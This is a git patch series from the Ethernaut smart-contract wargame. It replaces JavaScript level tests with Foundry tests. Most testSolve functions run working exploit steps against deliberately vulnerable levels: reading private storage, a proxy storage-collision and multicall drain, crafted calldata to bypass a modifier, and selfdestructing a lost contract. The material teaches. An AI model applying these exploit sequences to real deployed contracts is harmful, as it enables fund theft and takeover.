+contract TestPrivacy is Test, Utils { + Ethernaut ethernaut; + Privacy instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + PrivacyFactory factory = new PrivacyFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = Privacy(payable(createLevelInstance(ethernaut, Level(address(factory)), 0))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + bytes32 data = vm.load(address(instance), bytes32(uint256(5))); + instance.unlock(bytes16(data)); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/Privacy.test.js b/contracts/test/levels/Privacy.test.js deleted file mode 100644 index fe89d52ce..000000000 --- a/contracts/test/levels/Privacy.test.js +++ /dev/null @@ -1,68 +0,0 @@ -const PrivacyFactory = artifacts.require('./levels/PrivacyFactory.sol'); -const Privacy = artifacts.require('./attacks/Privacy.sol'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('Privacy', function (accounts) { - let ethernaut; - let level; - let instance; - let player = accounts[0]; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await PrivacyFactory.new(); - await ethernaut.registerLevel(level.address); - instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Privacy, - { from: player, value: web3.utils.toWei('1', 'ether') } - ); - }); - - describe('instance', function () { - it('should start locked', async function () { - assert.equal(await instance.locked(), true); - }); - - it('should not unlock with any key', async function () { - await expectRevert.unspecified(instance.unlock('0x123')); - }); - - it('should unlock with the proper key', async function () { - // Read storage. - for (let i = 0; i < 6; i++) { - //console.log(await web3.eth.getStorageAt(instance.address, i)); - } - - // Read contract storage. - const dataEntry = await web3.eth.getStorageAt(instance.address, 5); - //console.log("data entry " + dataEntry) - const key = '0x' + dataEntry.substring(2, 34); - - // Unlock. - await instance.unlock(key); - assert.equal(await instance.locked(), false); - - // Factory check (should pass) - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(completed, true); - }); - }); -}); diff --git a/contracts/test/levels/PuzzleWallet.t.sol b/contracts/test/levels/PuzzleWallet.t.sol new file mode 100644 index 000000000..817731441 --- /dev/null +++ b/contracts/test/levels/PuzzleWallet.t.sol @@ -0,0 +1,74 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {PuzzleWallet, PuzzleProxy} from "src/levels/PuzzleWallet.sol"; +import {PuzzleWalletFactory} from "src/levels/PuzzleWalletFactory.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestPuzzleWallet is Test, Utils { + Ethernaut ethernaut; + PuzzleWallet instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + PuzzleWalletFactory factory = new PuzzleWalletFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = PuzzleWallet(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + PuzzleProxy(payable(address(instance))).proposeNewAdmin(player); + + instance.addToWhitelist(player); + + bytes[] memory callsDeep = new bytes[](1); + callsDeep[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector); + + bytes[] memory calls = new bytes[](2); + calls[0] = abi.encodeWithSelector(PuzzleWallet.deposit.selector); + calls[1] = abi.encodeWithSelector(PuzzleWallet.multicall.selector, callsDeep); + instance.multicall{value: 0.001 ether}(calls); + + instance.execute(player, 0.002 ether, ""); + instance.setMaxBalance(uint256(uint160(address(player)))); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/PuzzleWallet.test.js b/contracts/test/levels/PuzzleWallet.test.js deleted file mode 100644 index b5d5bd918..000000000 --- a/contracts/test/levels/PuzzleWallet.test.js +++ /dev/null @@ -1,96 +0,0 @@ -const PuzzleProxy = artifacts.require('PuzzleProxy'); -const PuzzleWalletFactory = artifacts.require('PuzzleWalletFactory'); -const PuzzleWallet = artifacts.require('PuzzleWallet'); -const Ethernaut = artifacts.require('./Ethernaut.sol'); - -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('PuzzleWallet', function ([player]) { - let ethernaut, level; - let statproxy; - - beforeEach(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await PuzzleWalletFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - PuzzleWallet, - { from: player, value: web3.utils.toWei('0.001', 'ether') } - ); - - // checks that the initial owner address is the puzzle wallet factory contract - assert.equal( - level.address, - await instance.owner(), - 'PuzzleFactory is not the owner' - ); - assert.equal( - web3.utils.toWei('0.001', 'ether'), - (await instance.balances(level.address)).toString() - ); - - const proxy = await PuzzleProxy.at(instance.address); - // overwrites the owner address by setting the pendingAdmin - await proxy.proposeNewAdmin(player); - - // checks that the player has placed their address in the owner slot - assert.equal(player, await instance.owner(), 'Player is not the owner'); - - // checks that player is not whitelisted yet - assert.isFalse( - await instance.whitelisted(player), - 'Player is not whitelisted' - ); - - // player whitelists herself - await instance.addToWhitelist(player, { from: player }); - - const { data: depositData } = await instance.deposit.request(); - const { data: nestedMulticallData } = await instance.multicall.request([ - depositData, - ]); - const { data: executeData } = await instance.execute.request( - player, - web3.utils.toWei('0.002', 'ether'), - [] - ); - - const calls = [depositData, nestedMulticallData, executeData]; - - await instance.multicall(calls, { - from: player, - value: web3.utils.toWei('0.001', 'ether'), - }); - // checks that balance in the contract is 0 - assert.equal( - await web3.eth.getBalance(instance.address), - 0, - 'Contract balance is not 0' - ); - - // updates the maxBalance to take over adminship - await instance.setMaxBalance(player, { from: player }); - assert.equal( - await proxy.admin(), - player, - 'Admin address is not player address' - ); - - // check that the level was completed successfully - const ethCompleted = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.equal(ethCompleted, true, 'Level not completed'); - }); -}); diff --git a/contracts/test/levels/Recovery.t.sol b/contracts/test/levels/Recovery.t.sol new file mode 100644 index 000000000..17d597491 --- /dev/null +++ b/contracts/test/levels/Recovery.t.sol @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {Recovery, SimpleToken} from "src/levels/Recovery.sol"; +import {RecoveryFactory} from "src/levels/RecoveryFactory.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestRecovery is Test, Utils { + Ethernaut ethernaut; + Recovery instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + RecoveryFactory factory = new RecoveryFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = Recovery(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player, player); + + address payable lostContract = payable( + address( + uint160( + uint256(keccak256(abi.encodePacked(bytes1(0xd6), bytes1(0x94), address(instance), bytes1(0x01)))) + ) + ) + ); + + SimpleToken(lostContract).destroy(player); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/Recovery.test.js b/contracts/test/levels/Recovery.test.js deleted file mode 100644 index 72dc88642..000000000 --- a/contracts/test/levels/Recovery.test.js +++ /dev/null @@ -1,97 +0,0 @@ -const RecoveryFactory = artifacts.require('./levels/RecoveryFactory.sol'); -const Recovery = artifacts.require('./levels/Recovery.sol'); -const RecoverySimpleToken = artifacts.require( - './levels/RecoverySimpleToken.sol' -); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -let rlp = require('rlp'); - -// A function to calculate generated addresses. -let targetAddress = function (instanceAddress, nonce) { - let bufferAddress = Buffer.from(instanceAddress.slice(2), 'hex'); - let data = rlp.encode([bufferAddress, nonce]); - return '0x' + web3.utils.sha3(data).slice(26); -}; - -contract('Recovery', function (accounts) { - let level; - let ethernaut; - let player = accounts[0]; - let instance; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await RecoveryFactory.new(); - await ethernaut.registerLevel(level.address); - - //console.log("here"); - //console.log(level.address); - - instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Recovery, - { from: player, value: web3.utils.toWei('0.001', 'ether') } - ); - }); - - it('should be deployed as expected', async function () { - // Init checks - let generatedTokenAddress = targetAddress(instance.address, 1); - let generatedTokenInstance = await RecoverySimpleToken.at( - generatedTokenAddress - ); - // Check that is is created as expected - assert.equal(await generatedTokenInstance.name.call(), 'InitialToken'); - }); - - it('should allow players to create simple tokens', async function () { - // Ensure that players can create a token - //console.log('creating a new token...') - await instance.generateToken('test', 50); - // Check the created contract address is as expected - let testTokenAddress = targetAddress(instance.address, 2); - let testInstance = await RecoverySimpleToken.at(testTokenAddress); - assert.equal(await testInstance.name.call(), 'test'); - }); - - it('should allow the player to solve the level', async function () { - //console.log('Check complete (should fail)...') - let completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - //console.log('completed:', completed) - assert.equal(completed, false); - - // The solution - // We find the address and call suicide. - //console.log('Performing attack'); - let generatedTokenAddress = targetAddress(instance.address, 1); - let generatedTokenInstance = await RecoverySimpleToken.at( - generatedTokenAddress - ); - //console.log('Suiciding all target addresses'); - // Suicide the contract - await generatedTokenInstance.destroy(player); - - // Factory check (should pass) - //console.log('Check complete (should pass)...') - completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - //console.log('completed:', completed) - assert.equal(completed, true); - }); -}); diff --git a/contracts/test/levels/Shop.t.sol b/contracts/test/levels/Shop.t.sol new file mode 100644 index 000000000..ead8bc2a8 --- /dev/null +++ b/contracts/test/levels/Shop.t.sol @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {Shop} from "src/levels/Shop.sol"; +import {ShopFactory} from "src/levels/ShopFactory.sol"; +import {ShopAttack} from "src/attacks/ShopAttack.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestShop is Test, Utils { + Ethernaut ethernaut; + Shop instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + ShopFactory factory = new ShopFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = Shop(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + ShopAttack attacker = new ShopAttack(); + attacker.attack(instance); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/Shop.test.js b/contracts/test/levels/Shop.test.js deleted file mode 100644 index 4d5ce4de9..000000000 --- a/contracts/test/levels/Shop.test.js +++ /dev/null @@ -1,65 +0,0 @@ -const ShopFactory = artifacts.require('./levels/ShopFactory.sol'); -const ShopAttack = artifacts.require('./attacks/ShopAttack.sol'); -const Shop = artifacts.require('./levels/Shop.sol'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('Shop', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await ShopFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should fail if the player didnt solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Shop - ); - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isFalse(completed); - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Shop - ); - - const attacker = await ShopAttack.new(); - await attacker.attack(instance.address); - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isTrue(completed); - }); -}); diff --git a/contracts/test/levels/Switch.t.sol b/contracts/test/levels/Switch.t.sol new file mode 100644 index 000000000..a624f982e --- /dev/null +++ b/contracts/test/levels/Switch.t.sol @@ -0,0 +1,75 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {Switch} from "src/levels/Switch.sol"; +import {SwitchFactory} from "src/levels/SwitchFactory.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestSwitch is Test, Utils { + Ethernaut ethernaut; + Switch instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + SwitchFactory factory = new SwitchFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = Switch(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + bytes memory data = abi.encodeWithSelector( + bytes4(keccak256("flipSwitch(bytes)")), abi.encodeWithSelector(bytes4(keccak256("turnSwitchOff()"))) + ); + (bool success, bytes memory err) = address(instance).call(data); + if (!success) { + console.logBytes(err); + } + assertTrue(!instance.switchOn()); + + data = + hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff20606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000"; + (success, err) = address(instance).call(data); + if (!success) { + console.logBytes(err); + } + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/Switch.test.js b/contracts/test/levels/Switch.test.js deleted file mode 100644 index 281d69390..000000000 --- a/contracts/test/levels/Switch.test.js +++ /dev/null @@ -1,103 +0,0 @@ -/*eslint no-undef: "off"*/ -const { expectRevert } = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); - -const Switch = artifacts.require('./levels/Switch.sol'); -const SwitchFactory = artifacts.require('./levels/SwitchFactory.sol'); - -contract('Switch', function (accounts) { - let ethernaut; - let level; - let instance; - let player = accounts[0]; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await SwitchFactory.new(); - await ethernaut.registerLevel(level.address); - instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Switch, - { from: player } - ); - }); - - describe('instance', function () { - it('should not be immediately solvable', async function () { - // make sure the factory fails - const ethCompleted = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(ethCompleted, false); - }); - - it('should revert when turnSwitchOn() is called', async function () { - // turnSwitchOn() should revert on standard call from player - await expectRevert( - instance.turnSwitchOn({ from: player }), - 'Only the contract can call this' - ); - }); - - it('it should allow the user to solve the level', async function () { - // build the necessary function selectors - let flipSwitchSelector = web3.utils - .sha3('flipSwitch(bytes)') - .substring(2, 10); - let onFunctionSelector = web3.utils - .sha3('turnSwitchOn()') - .substring(2, 10); - let offFunctionSelector = web3.utils - .sha3('turnSwitchOff()') - .substring(2, 10); - - let dataPosition = '20'; // hex for 32 - let dataLength = 4; // _data only has a 4 byte length - - // construct standard calldata - let calldata = - flipSwitchSelector + //flipSwitch function selector - '0'.repeat(62) + - dataPosition.toString() + // hex position of _data - '0'.repeat(63) + - dataLength.toString() + // length of _data - offFunctionSelector + - '0'.repeat(56); // The _data variable, containing the turnSwitchOff selector - - // expect the turnSwitchOff function to not revert - await instance.sendTransaction({ data: calldata }); - - let newDataPosition = '60'; // skip four 32-byte slots in the calldata payload - - // generate malicious call data should allow turnSwithOn() to run - calldata = - flipSwitchSelector + // flipSwitch function selector - '0'.repeat(62) + - newDataPosition.toString() + // data position : skip 2 32-byte slots - '0'.repeat(64) + // empty 32-byte slot - we don't care about it - offFunctionSelector + - '0'.repeat(56) + // the function selector that is checked by the modifier - '0'.repeat(63) + - dataLength.toString() + // the location of _data, starts with it's length - onFunctionSelector + - '0'.repeat(56); // the actual location of _data (we use the turnSwitchOn function selector) - - // Should allow us to call the turnSwitchOn function - await instance.sendTransaction({ data: calldata }); - - // ensure the level is completed - const ethCompleted = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - assert.equal(ethCompleted, true); - }); - }); -}); diff --git a/contracts/test/levels/Telephone.t.sol b/contracts/test/levels/Telephone.t.sol new file mode 100644 index 000000000..b2972bc67 --- /dev/null +++ b/contracts/test/levels/Telephone.t.sol @@ -0,0 +1,63 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {Telephone} from "src/levels/Telephone.sol"; +import {TelephoneFactory} from "src/levels/TelephoneFactory.sol"; +import {TelephoneAttack} from "src/attacks/TelephoneAttack.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestTelephone is Test, Utils { + Ethernaut ethernaut; + Telephone instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + TelephoneFactory factory = new TelephoneFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = Telephone(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + TelephoneAttack attacker = new TelephoneAttack(); + attacker.attack(address(instance), player); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/Telephone.test.js b/contracts/test/levels/Telephone.test.js deleted file mode 100644 index 9a10e24fa..000000000 --- a/contracts/test/levels/Telephone.test.js +++ /dev/null @@ -1,66 +0,0 @@ -const Telephone = artifacts.require('./levels/Telephone.sol'); -const TelephoneFactory = artifacts.require('./levels/TelephoneFactory.sol'); -const TelephoneAttack = artifacts.require('./attacks/TelephoneAttack.sol'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('Telephone', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await TelephoneFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should fail if the player did not solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Telephone - ); - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isFalse(completed); - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Telephone - ); - - const attacker = await TelephoneAttack.new(); - await attacker.attack(instance.address, player); - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isTrue(completed); - }); -}); diff --git a/contracts/test/levels/Token.t.sol b/contracts/test/levels/Token.t.sol new file mode 100644 index 000000000..d91a39800 --- /dev/null +++ b/contracts/test/levels/Token.t.sol @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: MIT +pragma solidity >=0.6.0; +pragma experimental ABIEncoderV2; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +// import {Token} from "src/levels/Token.sol"; +// import {TokenFactory} from "src/levels/TokenFactory.sol"; +// import {Level} from "src/levels/base/Level-06.sol"; +// import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestToken is Test, Utils { + // Ethernaut ethernaut; + // Token instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + // function setUp() public { + // address payable[] memory users = createUsers(2); + + // owner = users[0]; + // vm.label(owner, "Owner"); + + // player = users[1]; + // vm.label(player, "Player"); + + // vm.startPrank(owner); + // ethernaut = getEthernautWithStatsProxy(owner); + // TokenFactory factory = new TokenFactory(); + // ethernaut.registerLevel(Level(address(factory))); + // vm.stopPrank(); + + // vm.startPrank(player); + // instance = Token(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether))); + // vm.stopPrank(); + // } + + // /*////////////////////////////////////////////////////////////// + // TESTS + // //////////////////////////////////////////////////////////////*/ + + // /// @notice Check the intial state of the level and enviroment. + // function testInit() public { + // vm.startPrank(player); + // assertFalse(submitLevelInstance(ethernaut, address(instance))); + // } + + // /// @notice Test the solution for the level. + // function testSolve() public { + // vm.startPrank(player); + + // level.transfer(address(instance), 21); + + // assertTrue(submitLevelInstance(ethernaut, address(instance))); + // } +} diff --git a/contracts/test/levels/Vault.t.sol b/contracts/test/levels/Vault.t.sol new file mode 100644 index 000000000..9681d634b --- /dev/null +++ b/contracts/test/levels/Vault.t.sol @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {Utils} from "test/utils/Utils.sol"; + +import {Vault} from "src/levels/Vault.sol"; +import {VaultFactory} from "src/levels/VaultFactory.sol"; +import {Level} from "src/levels/base/Level.sol"; +import {Ethernaut} from "src/Ethernaut.sol"; + +contract TestVault is Test, Utils { + Ethernaut ethernaut; + Vault instance; + + address payable owner; + address payable player; + + /*////////////////////////////////////////////////////////////// + HELPERS + //////////////////////////////////////////////////////////////*/ + + function setUp() public { + address payable[] memory users = createUsers(2); + + owner = users[0]; + vm.label(owner, "Owner"); + + player = users[1]; + vm.label(player, "Player"); + + vm.startPrank(owner); + ethernaut = getEthernautWithStatsProxy(owner); + VaultFactory factory = new VaultFactory(); + ethernaut.registerLevel(Level(address(factory))); + vm.stopPrank(); + + vm.startPrank(player); + instance = Vault(payable(createLevelInstance(ethernaut, Level(address(factory)), 0.001 ether))); + vm.stopPrank(); + } + + /*////////////////////////////////////////////////////////////// + TESTS + //////////////////////////////////////////////////////////////*/ + + /// @notice Check the intial state of the level and enviroment. + function testInit() public { + vm.startPrank(player); + assertFalse(submitLevelInstance(ethernaut, address(instance))); + } + + /// @notice Test the solution for the level. + function testSolve() public { + vm.startPrank(player); + + bytes32 password = vm.load(address(instance), bytes32(uint256(1))); + instance.unlock(password); + + assertTrue(submitLevelInstance(ethernaut, address(instance))); + } +} diff --git a/contracts/test/levels/Vault.test.js b/contracts/test/levels/Vault.test.js deleted file mode 100644 index c783b0d03..000000000 --- a/contracts/test/levels/Vault.test.js +++ /dev/null @@ -1,71 +0,0 @@ -const VaultFactory = artifacts.require('./levels/VaultFactory.sol'); -const Vault = artifacts.require('./attacks/Vault.sol'); -const VaultAttack = artifacts.require('./attacks/VaultAttack.sol'); - -const Ethernaut = artifacts.require('./Ethernaut.sol'); -const { - BN, - constants, - expectEvent, - expectRevert, -} = require('openzeppelin-test-helpers'); -const utils = require('../utils/TestUtils'); -const { ethers, upgrades } = require('hardhat'); - -contract('Vault', function (accounts) { - let ethernaut; - let level; - let owner = accounts[1]; - let player = accounts[0]; - let statproxy; - - before(async function () { - ethernaut = await utils.getEthernautWithStatsProxy(); - level = await VaultFactory.new(); - await ethernaut.registerLevel(level.address); - }); - - it('should fail if the player did not solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Vault - ); - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isFalse(completed); - }); - - it('should allow the player to solve the level', async function () { - const instance = await utils.createLevelInstance( - ethernaut, - level.address, - player, - Vault - ); - - const attacker = await VaultAttack.new(); - var hexStr = web3.utils.utf8ToHex( - await web3.eth.getStorageAt(instance.address, 1) - ); - var password = web3.utils.hexToAscii(hexStr); - - await attacker.attack(instance.address, password); - - const completed = await utils.submitLevelInstance( - ethernaut, - level.address, - instance.address, - player - ); - - assert.isTrue(completed); - }); -}); diff --git a/contracts/test/utils/Utils.sol b/contracts/test/utils/Utils.sol index 2c6ab7b07..a5c5ce1d2 100644 --- a/contracts/test/utils/Utils.sol +++ b/contracts/test/utils/Utils.sol @@ -40,7 +40,7 @@ contract Utils is Test { ethernaut.createLevelInstance{value: value}(level); Vm.Log[] memory entries = vm.getRecordedLogs(); - instance = address(uint160(uint256(entries[0].topics[2]))); + instance = address(uint160(uint256(entries[entries.length - 1].topics[2]))); } function submitLevelInstance(Ethernaut ethernaut, address instance) public returns (bool) { From 7bd0679de338ec527c1987be10384b9b7cc0da78 Mon Sep 17 00:00:00 2001 From: cairo <101215230+cairoeth@users.noreply.github.com> Date: Thu, 21 Mar 2024 14:15:08 -0500 Subject: [PATCH 13/35] =?UTF-8?q?=E2=9C=A8=20foundry:=20token,=20reentranc?= =?UTF-8?q?e,=20motorbik?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- contracts/foundry.toml | 2 + contracts/src/attacks/ReentranceAttack.sol | 10 ++- contracts/test/levels/Instance.t.sol | 63 +++++++++++++++ contracts/test/levels/Motorbike.t.sol | 72 +++++++++++++++++ contracts/test/levels/Motorbike.test.js | 78 ------------------- contracts/test/levels/Reentrance.t.sol | 63 +++++++++++++++ contracts/test/levels/Reentrance.test.js | 81 -------------------- contracts/test/levels/Token.t.sol | 76 +++++++++--------- contracts/test/levels/Token.test.js | 64 ---------------- contracts/test/utils/TestUtils.js | 89 ---------------------- contracts/test/utils/Utils.sol | 15 ++++ 11 files changed, 262 insertions(+), 351 deletions(-) create mode 100644 contracts/test/levels/Instance.t.sol create mode 100644 contracts/test/levels/Motorbike.t.sol delete mode 100644 contracts/test/levels/Motorbike.test.js create mode 100644 contracts/test/levels/Reentrance.t.sol delete mode 100644 contracts/test/levels/Reentrance.test.js delete mode 100644 contracts/test/levels/Token.test.js delete mode 100644 contracts/test/utils/TestUtils.js diff --git a/contracts/foundry.toml b/contracts/foundry.toml index 27cb0a1cd..64c2a896d 100644 --- a/contracts/foundry.toml +++ b/contracts/foundry.toml @@ -4,5 +4,7 